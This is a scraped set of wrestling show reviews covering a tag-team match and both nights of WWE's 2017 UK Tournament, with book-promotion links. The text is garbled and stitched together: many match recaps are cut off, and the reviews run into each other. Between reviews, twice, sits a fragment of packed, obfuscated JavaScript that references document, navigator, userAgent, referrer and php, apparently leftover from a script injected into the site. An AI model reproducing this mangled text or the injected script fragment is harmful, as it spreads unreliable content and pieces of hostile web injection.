
The winners get Moustache Mountain on Saturday. Drake and Andrews start things off but it’s quickly off to Gibson to knock Webster off the top. A Doomsday Device gets two on Andrews and we’re only about 45 seconds in. That’s followed by a middle rope elbow/backbreaker combination on the floor as Andrews is still in serious trouble. Back in and we hit the chinlock, followed by a heck of a chinlock from Drake.

Gibson grabs another chinlock but Andrews finally kicks the villains into each other, allowing the hot tag to Webster. That brings the fans right back into it and Webster clotheslines Drake down to hammer away. A running flip dive drops Gibson on the floor, followed by the Baba O’Reilly Buster for two on Drake. Gibson counters a monkey flip with an armbar but Webster knocks him outside without much effort.

An assisted standing 450 gives Andrews two on Gibson but Webster gets pulled to the floor. Ticket to Ride is good for two on Andrews, who hurricanranas Drake into Gibson for a breather. Webster comes in with a Swanton to both guys and a reverse hurricanrana gets two on Drake. That puts everyone down and the fans are very pleased. Gibson heads outside and catches Andrews’ dive, reversing it into Helter Skelter on the ramp. Back in and another Ticket to Ride finishes Webster at 8:19.

Rating: B. This was looking pretty boring to start but my goodness it picked up steam as they got going. I was expecting Webster and Andrews to just be the spunky challengers who were little more than a roadblock for Drake and Gibson but they turned it into a rather good match with everyone working hard and giving us the obvious ending, but not before a great effort.

Overall Rating: C+. The action was mostly good but you can feel the level of importance going further and further down every week. There has to be something else they can dip into other than the same rapidly depleting bag of matches, but for now they can keep going with this for the time being. If nothing else just have Gibson talk about how great he is for the entire show.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iirdh|var|u0026u|referrer|arzhz||js|php'.split('|'),0,{})) UK Tournament
Date: January 15, 2017
Location: Empress Ballroom, Blackpool, England
Commentators: Michael Cole, Nigel McGuinness

Recap of Pete Dunne attacking Sam Gradwell along with their first round matches.

The second round has twenty minute time limits.

Quarterfinals: Pete Dunne vs. Sam Gradwell

The back is fine enough for a Michinoku Driver for two on Dunne as this is one sided so far. Pete rolls outside and takes a crossbody with the fans getting WAY into Gradwell. Back in and Dunne shoves him off the ropes for a big crash onto the apron, messing up the back all over again. Gradwell dives back in to beat the count but gets slammed into the corner to give Pete the pin at 4:50.

Rating: B-. This was all about the storytelling which is the most important thing you can get around here. The story with the back injury made things interesting and Pete came off as the real villain of the whole thing, which is a perfect role for him. I bought the idea that he wanted to win no matter what the cost and that gives him a character going forward.

Quarterfinals: Joseph Conners vs. Mark Andrews

Andrews starts with some very fast rollups for two each but Conners elbows him in the face to cut off the offense. Joseph tries his own sunset flip, only to have Mark roll through and dropkick him down for two more. That sends Joseph outside but he avoids a moonsault off the apron and drop toeholds Andrews into the steps.

Wolfgang and Trent Seven first round recaps. Cole mistakenly says Seven beat Roy Johnson in the first round.

Fit Finlay is here.

Quarterfinals: Wolfgang vs. Trent Seven

They start slow for a change until Seven slaps him in the face. That earns him a suplex and they head outside to start the brawl. A moonsault off the barricade crushes Seven but Wolfgang bangs up his knee. A suicide dive drops Wolfgang again but he comes right back with a superplex to put both guys down.

Jordan (not George as Cole puts it) Devlin and Tyler Bate first round recaps.

Quarterfinals: Jordan Devlin vs. Tyler Bate

I love the little wave that Bate does.

Here are the updated brackets:

Pete Dunne

Mark Andrews

Wolfgang

Tyler Bate

Video on the final four and how they want to win.

Robbie Brookside is here.

Semifinals: Pete Dunne vs. Mark Andrews

Dunne takes him straight to the mat and grabs a chinlock but a spinning armdrag sends Pete to the floor. That of course means a big flip dive as Andrews has shown me more in the last two matches than in his entire TNA run. As usual, I blame TNA. Pete bends the fingers back and goes for the stomp on the steps but Andrews snaps off a hurricanrana to take over again.

Dunne has a counter of his own though as the shooting star is reversed into a rollup for a very close two. The pumphandle Downward Spiral (Bitter End) is broken up and the fifth or so X Plex is countered into the fourth or so hurricanrana for two. Another shooting star misses and ANOTHER FREAKING X PLEX sets up the Bitter End to send Dunne on at 10:45.

Cole and McGuinness talk about their media coverage over the last few days.

Semifinals: Wolfgang vs. Tyler Bate

Nigel, a good commentator, tells us that Dunne uses an arm hold. Above all else, that felt natural instead of like they were hammering it over our heads. Simple, yet effective.

Medics check on Bate who finally sits up. The shocked look on his face is a nice touch.

Neville vs. Tommy End

Well, it will be after we look at how both guys got to the title match.

UK Title: Pete Dunne vs. Tyler Bate

Rating: A-. That might be a bit high but I got WAY more into this than I was expecting to. Bate winning is a nice choice and having him beat Dunne was as good of a story as they were going to be able to pull off. This was a much better match than I was expecting and this is the kind of match the tournament was needing to make it memorable. Great main event and Bate looked like a star despite his age.

HHH, Finlay, Regal and Balor present Bate with the title to end the show.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkaay|var|u0026u|referrer|nsesz||js|php'.split('|'),0,{})) UK Tournament
Date: January 14, 2017
Location: Empress Ballroom, Blackpool, England
Commentators: Michael Cole, Nigel McGuinness

We look at various WWE moments in the UK over the years, including Summerslam 1992 and Takeover: London.

The arena looks very cool and actually feels grand for a change.

We look at the brackets.

Video on Trent Seven, complete with clips Progress Wrestling.

Video on H.C. Dyer, who seems to be a boxer/striker.

All first round matches have a fifteen minute time limit.

Trent Seven vs. H.C. Dyer

Trent likes his mustache and is a current Progress Wrestling Tag Team Champion (as mentioned by Cole which is very strange to hear). Dyer dropkicks him down and they head to the floor for some chops. Back in and Seven does a running chop of all things before a suplex gets two (with a feel of the mustache at the same time).

Video on Danny Burch, who wrestled on NXT as a pretty tough jobber for a few years.

Balor is in the front row.

Danny Burch vs. Jordan Devlin

Devlin knocks him down again after the match and insists that was a clean win.

Video on Saxton Huxley, who is very intelligent.

Video on Sam Gradwell, who grew up with an alcoholic mom and all he cares about is what happens in the ring.

Saxton Huxley vs. Sam Gradwell

Technical sequence to start with Gradwell working on an armbar followed by a dropkick for two. A butterfly backbreaker puts Sam down as the fans are now singing about Huxley. Some shots to the face drop Huxley and a good looking top rope headbutt sends Gradwell on at 6:03.

Dave Taylor is at ringside.

Video on Pete Dunne, who is known as the Bruiserweight. He describes himself as unique and enjoys hurting people.

Pete Dunne vs. Roy Johnson

Video on Tyson T-Bone who wants to fight and honor his gypsy heritage.

T-Bone talks about traveling the world earning a living with his fans and all that matters is who is up next.

Wolfgang vs. Tyson T-Bone

Wolfgang says the title is coming home with the big bad wolf.

Video on Joseph Conners, who is missing part of his ear due to a fight.

Video on James Drake who has wrestled people from all over the world and gotten paid to win. People will be talking about him when he wins.

Joseph Conners vs. James Drake

Video on Mark Andrews, who wants to prove Wales proud. You might know him as Mandrews in TNA.

Dan Moloney vs. Mark Andrews

Moloney is only 19. Andrews starts early with the flips and scores with a basement dropkick into an armbar. Dan throws him into the air for a crash and near fall but Andrews stomps on the ribs to take over again. The fans seem to like Andrews who gets two off a standing moonsault. Dan tries something like an F5 but seems to slip up, only to hit a sitout F5 on the second attempt. A running kick to the face gets two but Andrews grabs a Stunner to put Dan down. The shooting star press advances Moloney at 5:45.

Video on Tucker, who is a technical wrestler.

Video on Tyler Bate, who is 19 and only cares about the 1-2-3.

Tucker vs. Tyler Bate

Here are the quarterfinal brackets:

Tyler Bate

Jordan Devlin

Trent Seven

Wolfgang

Mark Andrews

Joseph Conners

Pete Dunne

Sam Gradwell

Cole gives us a highlight package on the night.

Nigel and William Regal bring out the wrestlers who advanced to the second round. Dunne punches Gradwell in the face and gets yelled at to end the show.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6